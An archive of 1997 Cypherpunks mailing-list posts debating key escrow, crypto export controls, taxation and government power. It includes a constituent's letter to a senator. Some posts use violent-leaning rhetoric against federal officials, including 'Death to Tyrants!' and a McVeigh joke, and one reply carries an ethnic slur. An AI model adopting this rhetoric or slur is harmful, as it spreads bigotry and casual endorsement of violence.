Message-ID: <199709130429.WAA28625@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    the bottom line is simple:  either

    1.  swamp the techno-ignorant fools with hollow traffic

    2.  wait and hope the courts have the balls to enforce the
        first and fourth amendments.

    civil disobedience, despite the Feds learning from the Chicago 7
    trial that selective individual prosecution is more effective to
    strike terror in the hearts and souls of the 'deviants', needs to
    be organized at _all_ colleges and law firms, who unfortunately
    are at least as techno-illiterate as the members of Congress.

    Will Rogers summed it up: "circus? you want to go to the circus?  
    Why? Congress is in session."

    however, living in the Intermountain Empire, I vote to secede from
    the totalitarian fools that claim they are governing a republic
    with our consent; or, in the immortal words of Thomas Jefferson
    
      "God forbid we should ever be twenty years without a rebellion." 

        attila
 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNBn7kL04kQrCC2kFAQE9PAQAx53t3ABfM4V72lraN+ax/IUAzM+n5FEw
pw8p+p47veeP4IkKznYulAy4pTbJyBDTDTpLY6r15oGdM61Xj7cQuGdQ5sKVmY+q
QIhQM8bXX1MTB/at+eQ9BZaoid1OjPsg10PJn9hq31vXNAyib8P0Bbe///4WWZcA
kldwJQ7l4zM=
=hxIf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 13 Sep 1997 11:09:28 +0800
To: cypherpunks@cyberpass.net
Subject: Bean Counting II
In-Reply-To: <bvbLgDBYeZtLKxtOwBy+tw==@bureau42.ml.org>
Message-ID: <199709130305.FAA21883@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer <remailer@bureau42.ml.org> wrote:

> Does anyone know if the government has released any firm figures on the
> number of lives that would be saved from terrorist activities with the
> outlawing of strong encryption and mandatory key escrow?
>
> If we had the proper figures to work with then we could make a valid
> judgment as to how many lives anti-GAK supporters would have to put
> in danger in order to tip the balance so that it would be in the best
> interests of the citizens to allow strong non-GAK'ed crypto.
> I, for one, would hate to see lives lost needlessly merely because
> those opposing GAK did not have the proper figures to work with.


That's like asking, "If the feds get what they want, how many more churches
will they burn, and how many more families will they shoot in the woods?"

The answer is nobody knows.  But judging from from history it seems that
when they feds are allowed to do whatever they want, innocent people often
get killed.

A better question to ask is how many more people will die before we do
something about the corrupt federal agents.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 13 Sep 1997 13:57:34 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <WGAtC0yvc2bLR+ERS0UXTg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



The snow-monster saw a peppercorn through the 
vacuum-packed keyhole, it's extra mouth kissing
the fresh fruit and chewing the rough.

The blizzard continued to whip the darkness, 
while the snow-men sunned in the warm glow of 
particle fear and unicity gaps.

It remained as cold it as and hot. 


- A'Tak A'Tdorn

 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 13 Sep 1997 18:57:39 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Information Please
In-Reply-To: <3.0.2.32.19970912161151.035b44b0@panix.com>
Message-ID: <199709131040.GAA14998@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell writes:

: >I am assuming of course that there must be some form of law somewhere
: >which recognizes the right to resist oppression and violation of human
: >rights by any government elected or not.
: 
: In fact, the Nuremberg decisions say that in certain cases International Law 
: may *require* you to overthrow your government.

And the New Hampshire Constitution has some deragatory remarks---
``slavish'', as I recall, is one---about those who in the appropriate 
circumstances do not revolt.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 13 Sep 1997 21:45:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Monetary Economics (fwd) [amusement]
Message-ID: <199709131351.IAA25585@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
> From owner-traveller@Phaser.ShowCase.MPGN.COM Sat Sep 13 07:01:15 1997
> To: traveller@MPGN.COM
> X-Original-Article-From: Scott Ellsworth <Scott_Ellsworth@alumni.hmc.edu>
> Subject: Re: Monetary Economics
> From: shadow@krypton.rain.com (Leonard Erickson)
> Message-ID: <970913.000519.9C4.rnr.w165w@krypton.rain.com>
> Date: Sat, 13 Sep 1997 00:05:19 PST
> In-Reply-To: <3.0.3.32.19970912130653.007c83c0@mail.deltanet.com>
> Organization: Shadownet
> X-Newsreader: rnr v2.20
> Sender: owner-traveller@Phaser.ShowCase.MPGN.COM
> Reply-To: traveller@MPGN.COM
> 
> In mail you write:
> 
> > For this to work, the entity doing the credit management needs to have the
> > highest technology available, which I assume the Imperium has for a very
> > long time.  The techniques are likely known to those who want to find them
> > out, because someone would have defected.  Thus, you need a scheme that is
> > robust, even knowing the algorithm and some of the keys.
> 
> Old rule of cryptology. No code/cipher is secure unless it can provide
> protection against someone who knows the algorithm, but not the key.
> This is because it is *inevitable* that the algorithm will either leak,
> or worse, be guessed. 
> 
> If a key is known, that key is blown. But again, knowledge of one key
> should not compromise others. If it does, the code system is a piece of
> junk.
> 
> Theoretically, one time pads will *always* be secure. The only trouble
> is key distribution (well, key generation is tedious, but that's
> relatively minor).
> 
> Public key ciphers are subject to mathematical advances. Not
> *computational*, because if you have faster computers, then you can use
> bigger keys. But if someone comes up with a new mathematical technique
> that greatly decreases the work required to carry the mathematical
> operation that "secures" the cipher, then you are toast. For example, a
> whole bunch of public key schemes went down the tubes a few years back
> when somebody came up with a better solution to what's known as the
> "knapsack problem". The remaining schemes are based on the difficulty
> of factoring large numbers. So if a breakthrough is made in algorithms
> for factoring large numbers, they go away.
> 
> But for game purposes, we can assume that factoring is inherently hard
> (or that some new trick is found). So public key ciphers would be
> usable, though the keys may be a small book's worth of digits (stored
> in a tiny bit of storage). 
> 
> Given the fact of there being higher tech cultures, one time pads will
> be used for military and diplomatic stuff as well as anything that you
> are afraid might be trouble if someone with higher tech shows up.
> 
> But for generic business purposes, you just use the highest TL
> available for the public key ciphering gear. That way, it's unlikely
> that anybody can crack things soon. Sure, if a TL 16 race is found,
> they can crack your ciphers in weeks instead of years, but they aren't
> likely to *bother* with most commercial stuff.
> 
> -- 
> Leonard Erickson (aka Shadow)
>  shadow@krypton.rain.com        <--preferred
> leonard@qiclab.scn.rain.com     <--last resort
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 14 Sep 1997 00:02:11 +0800
To: cypherpunks@Algebra.COM
Subject: Nightmare Scenario: Public Key Distribution Controlled
Message-ID: <v03102805b04065bf320b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



"Distribute a key, go to prison."

How does the New World Order limit the use of strong crypto without "key
recovery" when so many copies of older, pre-ban crypto are already out
there?

Simple, by declaring that public keys themselves are crypto material, as
the Brits did in their Trusted Third Parties draft proposal, and hence
declaring that distribution of keys after the effective date of the
legislation constitutes a violation. Give someone your key, either by
placing it on keyservers or even by mailing it to them, and one has just
"distributed" crypto.

This will make the public key infrastructure essentially useless, as the
public key servers go down, as corporations yank any directories they may
have, and (possibly) as individuals stop putting PGP or S/MIME fingerprints
or pointers in their messages.

How possible is this? Recall that the British proposal formally classified
key material, the keys themselves, as cryptographic products. The language
of the current unSAFE and Procto-CODE draconian bills, still changing of
course as committees rewrite them to be more Big Brotherish, is vague on
what constitutes crypto.

If language is inserted making keys part of the bills, or if
"interpretations" by Defense, Commerce, etc. make this determination, then
there goes the infrastructure, even for already-distributed keys.

Sure, underground use will continue. And those with PGP, and keys, may well
have  a reasonable defense in court, arguing that the program *and* the
keys they used were already in their possession prior to the effective date
of the legislation.

But the effect would be chilling to almost any normal use of these programs.

This is my latest nightmare scenario.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 14 Sep 1997 00:21:40 +0800
To: "Peter D. Junger" <frissell@panix.com>
Subject: Re: Information Please
In-Reply-To: <3.0.2.32.19970912161151.035b44b0@panix.com>
Message-ID: <v03102806b0406b27773a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:40 AM -0700 9/13/97, Peter D. Junger wrote:
>Duncan Frissell writes:
>
>: >I am assuming of course that there must be some form of law somewhere
>: >which recognizes the right to resist oppression and violation of human
>: >rights by any government elected or not.
>:
>: In fact, the Nuremberg decisions say that in certain cases International
>Law
>: may *require* you to overthrow your government.
>
>And the New Hampshire Constitution has some deragatory remarks---
>``slavish'', as I recall, is one---about those who in the appropriate
>circumstances do not revolt.

I thought the State Department had declared their license plate motto,
"Live Free or Die," to be a "terrorist statement"?

Something about 3 years in jail alongside those expressing support for
Hamas in their fight against ZOG in occupied Palestine.

I may have to mcveigh my actions more carefully.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 14 Sep 1997 00:24:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709131600.MAA22590@cti06.citenet.net>
Message-ID: <v03102807b0406c79c68f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




(JF won't see this, unless Bob H. chooses to pass it on, Sandy-style. This
is why those who want to participate in the debate should actually do so,
on unedited, undelayed lists, not on digests and delayed condensations.)


At 9:57 AM -0700 9/13/97, jf_avon@citenet.net wrote:
>Hi.
>
>I've been lazily following the crypto-control issue through e$pam
>list.
>

Read the real list.

As a comment, sometimes when I try to "reply to all" to these messages from
folks reading digests, I get "you are not a member of this list" or "this
is a private list" messages.

Fine, but it's why I won't waste time on folks who may not even see what I
write unless I address it to them personally.

JF, get a decent mailer and get on the real list if you want to participate.

(Oh, and "cypherpunks@toad.com" is NOT the proper list address. It may
work, for a while, but it has been replaced by 2-3 other names.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 13 Sep 1997 22:18:55 +0800
To: users@ssz.com (SSZ User Mail List)
Subject: SSZ Move Downtime - Tuesday - Reminder
Message-ID: <199709131422.JAA25662@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Just a quick reminder that SSZ will be going down Tuesday morning and could
be down for several hours. Please make appropriate plans for this outage.
We will try to make it as quick as possible contingent upon SWBT getting
both the POTS and ISDN installers on site within a reasonable time frame.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 14 Sep 1997 00:38:24 +0800
To: cypherpunks@Algebra.COM
Subject: e$
Message-ID: <v0310280ab040702aa498@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



>Date: Sat, 13 Sep 1997 09:30:20 -0700
>To: jf_avon@citenet.net, cypherpunks@algebra.com
>From: Tim May <tcmay@got.net>
>Subject: Re: Real issue of crypto controls: security or taxation loss?
>Cc: e$@thumper.vmeng.com
....
>Read the real list.
>
>As a comment, sometimes when I try to "reply to all" to these messages
>from folks reading digests, I get "you are not a member of this list" or
>"this is a private list" messages.
>
>Fine, but it's why I won't waste time on folks who may not even see what I
>write unless I address it to them personally.
>
>JF, get a decent mailer and get on the real list if you want to participate.


Indeed, as I expected, e-spam sent me this message:

"
Your message could not be processed because you are not a subscriber to
the list.

If you believe you received this message in error, you can contact the
list administrator at:

     <Postmaster@vmeng.com>"


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sat, 13 Sep 1997 23:21:44 +0800
To: cypherpunks@toad.com
Subject: Re: Any talk of limiting _existing_ crypto?
In-Reply-To: <v03110791b03f7ebcdf09@[139.167.130.248]>
Message-ID: <199709131518.LAA22217@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



> ---------------------------------------------------------------------
> This mail is brought to you by the e$pam mailing list

> From: Tim May <tcmay@got.net>
> Subject: Any talk of limiting _existing_ crypto?


>  Integration with mailers and browsers may not even be such a good idea, as
>  the evolution of such products will cause obsolescence.

What about add-on package to current e-mail packages that does not 
contain crypto but makes the interface between crypto programs and 
e-mail client  (pgpjn for pegasus, Private Idaho, etc) ?

Are they regulated too?
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 14 Sep 1997 02:45:34 +0800
To: Bill Frantz <cypherpunks@cyberpass.net
Subject: Letter to Senator Bryan, was Re: Key Recovery is Bad for USSecurity
In-Reply-To: <3.0.32.19970905103052.00700338@homer.communities.com>
Message-ID: <v03102800b0408bd4b2e1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Bill, I hope you don't mind me basing my letter on yours.

-----------

September 11, 1997


Richard S. Bryan
364 Russell Senate Office Building
Washington, DC 20510-2804


	RE: Secure Public Networks Act


Dear Senator Bryan,

Thank you for your July 23 letter, however, I am still extremely disturbed
by Congressional and Administration comments in favor of mandatory "key
recovery".  Besides being a disaster for American software companies, and a
clear violation of the constitution's protections of freedom of speech,
these systems are harmful to the security of the United States.

All cryptographic systems are extremely difficult to get right.  Netscape's
SSL protocol, used for secure credit card transactions, which doesn't
provide for "key recovery", went through three versions before the major
problems were removed.  "Key recovery" systems are, as Professor Dorothy
Denning testified, much more complex than similar systems which do not
include that feature.  In fact, the key recovery system built into Clipper,
with the advice of NSA, had major flaws.  If the best cryptographic group
in the world can't get it right, after years of effort, how can we expect
"key recovery" systems to be secure.

What do we risk with insecure systems?  We risk compromising the
information of non-classified government agencies, including IRS records;
United States companies, including delicate international negotiations; and
individual Americans, including their medical records.  Even worse, if some
group should decide to launch an information war attack on the United
States, these flaws may allow them to access sensitive systems in the
finance, transportation, and energy sectors.  One simple way this attack
could occur is if the access codes are distributed using a flawed
encryption system.

The calls from law enforcement for these cryptographic backdoors to thwart
drug-kingpins, terrorists and the like, were recently refuted by the
government's own studies.  "Encryption and Evolving Technologies in
Organized Crime and Terrorism" found that there is no real "encryption
problem" which justifies placing limitations on the use of encryption.

Even if "key recovery" were implemented there are many ways for it to be
thwarted.  It is a simple matter to insert messages using unbreakable
crypto "inside" the lawful formats for communication.  This cannot be
detected by law enforcement without decrypting all communication traffic
and having all such keys immediately available, something no one is
suggesting, and without which no improvement in lawful access is achieved.
Only the most incompetent of the evil-doers will not know this, therefore,
the most likely law enforcement use of "key recovery" is surveillance of
those who do not pose a threat to the security of our nation, that is, the
common citizen.  The only reason I can see for such expansion of government
authority in this area is tyranny.

I hope you will consider these thoughts when deciding your stand on this issue.

Sincerely,

Steve Schear
CEO
First ECache Corporation

--------------------------- Senator Bryan's letter ---------------

July 23, 1997

Mr. Steve Schear
7075 West Gowan Road, #2148
Las Vegas, Nevada 89129

Dear Mr. Schear:

Thank you for contacting me regarding encryption technology export
controls. I appreciate having the benefit of your views.

As a member of the Senate Commerce Committee, I am very aware of the
explosive growth and popularity of electronic commerce, as well as the
importance of ensuring the privacy of electronic transactions. In addition,
I am concerned with reports that American software and hardware producers
are hampered by export controls on encryption technology.

As you know, there are no restrictions on the production or use of any
strength encryption product within the United States. There are legitimate
concerns regarding export controls, but I am also concerned with the spread
of this technology. Unfortunately, encryption technology provides criminal
organizations, terrorists, drug traffickers, and child pornographers with
an effective method of shielding illegal activities from law enforcement
agencies.

Certain members of Congress have advocated eliminating most export
restrictions on encryption technology. Legislation such as Senator Conrad
Burn's Promotion of Commerce On-Line in the Digital Era Act (S.377), would
prohibit the Commerce Department from regulating or enforcing any standards
on the private sector for encryption products.

While I understand Senator Conrad's support for safeguardinq electronic
commerce and promoting American software exports, I do not think these
concerns should completely outweigh the concerns of public safety and
national security. At a Commerce Committee hearing regarding Senator Burn's
legislation, Federal Bureau of Investigation Director Louis Freeh expressed
his concerns on this issue. Mr. Freeh advocated developing trusted third
parties to hold encryption access keys to aid in swift criminal
investigations. Mr. Freeh further testified that several American allies
have expressed concerns that releasing all export controls will flood the
market with unbreakable encryption products that can be utilized by
criminals, which might ultimately lead other nations to enact import
controls.

Clearly this would not be favorable for American encryption exports.

In June, the Senate passed an encryption bill which should provide a
compromise. The Secure Public Networks Act will expand the bit length of
exportable encryption software to 56 bits, and longer bit software could be
exported if they include a key recovery mechanism. As you know, key
recovery allows law enforcement agencies to decipher encrypted information
with the proper court orders. This legislation will also contain the
following provisions:

*criminalize the use of encryption in a crime;

*criminalize the decryption of data or communications without the proper
authority; and,

*criminalize the decoding of encryption for the purpose of violating
another person's privacy security or property rights.

I am hopeful that this legislation will provide a compromise that will
facilitate the production, exportation, and use of strong American
encryption products, without undermining public safety and national
security. Again, thank you for contacting me.

Sincerely,



Richard H. Bryan
United States Senator








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 14 Sep 1997 00:03:00 +0800
To: cypherpunks@toad.com
Subject: Real issue of crypto controls: security or taxation loss?
Message-ID: <199709131600.MAA22590@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



Hi.

I've been lazily following the crypto-control issue through e$pam 
list.

Somebody posted a question asking how many peoples would eventually 
be victims of crypto-enhanced crime.

Then, TM came to say that this is irrelevant.  TM was right in the 
context of the post, but it led me to ask myself this 
(vague) question:

	What is the real issue here, what makes the govt so insistent about 
	wanting to ban crypto?  What is such a threat to them that it makes 
	them pass laws that are profoundly against the US constitution?  

	What causes their panic?

To this, all I can find of enough magnitude to put them in such state 
is that they just recently *truly* realized that crypto will, 
infinitely more than to threaten the security of the state,
threaten their very existence by putting them outside of the money 
loop.

To paraphrase somebody, "individuals recognize taxation as damage and 
routes their e$ around"

I think that *this* debate should be injected in the population and 
the *bogus* "national security" debate should be dismissed as, 
just that : bogus.  

*Everybody* not living on govt taxated money gets a sparkle in their 
eyes when I introduce them to crypto via the e-$ topic.  And all of 
the others gets pale...  ;-)

For most peoples, privacy in itself is worth something only if 
if they have some *value* they want to preserve.  Most of the 
time, this value concretizes itself as "money".  So if we talk to 
them in terms *they* understand, we run a much better chance to make 
them understand why spreading crypto is a tool we believe will 
greatly enhance human's life quality.

Any comments about why we should *not* put most emphasis on the 
financial aspect of crypto?

Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Sep 1997 01:14:45 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The problem of playing politics with our constitutional rights (fwd)
Message-ID: <199709131722.MAA26153@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 13 Sep 1997 12:48:21 +0000 (GMT)
> From: Doug Geiger <runexe@ntplx.net>
> Subject: Re: The problem of playing politics with our constitutional rights

> > Government is like the biggest company
> > in the nation, with no profit pressure to restrain bureaucracy.  
> 
> I wonder what would happen if we created competition for the gov't. Say,
> make each state compete with each other, attempting to 'sell' services
> (roads, welfare, real estate, etc.) for the cheapest rates (taxes). That
> might force the gov't to radically change. One might say that exists now,
> as people can choose the state they're in. But what if the state were not
> restricted to only 'selling' within state lines, and the federal gov't had
> competition as well? A true capitialist-democrasy.
> 
> Just some random thoughts.

Not so random, since this is exactly what the founding fathers wanted until
a bunch of bozo's went and created the 14th Amendment...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Geiger <runexe@ntplx.net>
Date: Sun, 14 Sep 1997 01:06:22 +0800
To: David H Dennis <david@amazing.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <199709120505.WAA08152@remarkable.amazing.com>
Message-ID: <Pine.LNX.3.96.970913124451.807A-100000@localhost>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 11 Sep 1997, David H Dennis wrote:

> Government is like the biggest company
> in the nation, with no profit pressure to restrain bureaucracy.  

I wonder what would happen if we created competition for the gov't. Say,
make each state compete with each other, attempting to 'sell' services
(roads, welfare, real estate, etc.) for the cheapest rates (taxes). That
might force the gov't to radically change. One might say that exists now,
as people can choose the state they're in. But what if the state were not
restricted to only 'selling' within state lines, and the federal gov't had
competition as well? A true capitialist-democrasy.

Just some random thoughts.

-- Run.exe
  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt
"If I had only known, I would have been a locksmith."
                -- Albert Einstein
runexe@ntplx.net http://www.ntplx.net/~runexe/ PGP encrypted mail prefered





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Sep 1997 02:02:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Test [No Reply]
Message-ID: <199709131810.NAA26450@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Link Test

No reply required





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Sep 1997 02:08:31 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Link Test [No reply - last one]
Message-ID: <199709131817.NAA26553@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Link Test

No reply needed

This is the last one





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Sep 1997 02:17:20 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Foreign language traffic on the CDR?...
Message-ID: <199709131819.NAA26600@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I was wondering if there was a large objection to carrying non-English
crypto traffic...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 14 Sep 1997 01:52:35 +0800
To: cypherpunks@toad.com
Subject: SAFE Gut Amendment
Message-ID: <1.5.4.32.19970913173804.0074836c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Declan we offer the full text of the "Amendment
in the Nature of a Substitue to H.R. 695 Offered by Mr. Goss
and Mr. Dicks," passed by the House Intelligence Committee 
on September 11.

   http://jya.com/hr695-amend.htm  (63K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Lunatic <lunatic@dev.null>
Date: Sun, 14 Sep 1997 09:23:26 +0800
To: cypherpunks@ssz.com
Subject: Re: Foreign language traffic on the CDR?...
In-Reply-To: <199709131819.NAA26600@einstein.ssz.com>
Message-ID: <341AFB12.219D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> 
> Hi,
> 
> I was wondering if there was a large objection to carrying non-English
> crypto traffic...

I wouldn't mind, as long as there was no Jews, Polacks, or Australians.

? the Lunatic





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@cmq.com>
Date: Sun, 14 Sep 1997 05:05:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Taxless society concerns]
Message-ID: <19970913153434.10860@cmq.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Sep 11, 1997 at 12:10:41AM -0600, Warpy wrote:

> First off. In such a society, who cares for the old, the sick, and the
> infirm? How is such care going to be payed for? How will basic services be
> maintained without the necessary taxes required to pay for them? 

Family.  Friends.

What basic services are you referring to?
 
> Now before you start yelling at me and calling me a government
> sympathiser, let me say that i am disgusted at the amount of money spent
> by governments around the world on military equipment and personnel. If
> such a taxless society were to eventuate there would be *hopefully* that
> much more money floating around to help those who need it most.

The money won't be "floating around," it will be in the pockets of
individuals instead of being paid out as taxes.
 
> But the question remains. In such a taxless society, and little or no
> government, how are those less fortunate than us going to be cared for?

You should do more examining of Libertarian resources on the net.  And
do some thinking on your own.  Start with the presumption that
individuals and private organizations can operate more efficiently than
the government.  


-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1979
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@cmq.com>
Date: Sun, 14 Sep 1997 05:05:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The problem of playing politics with our constitutional rights]
Message-ID: <19970913153532.19370@cmq.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, Sep 12, 1997 at 12:06:35AM -0800, John Smith wrote:

> 
> Why do you say that?  Clipper was defeated.  People all over the net
> united and opposed it.  Now there is this new threat, but at least
> defeating Clipper bought some time.  There is no reason the same
> thing can't happen again.
> 
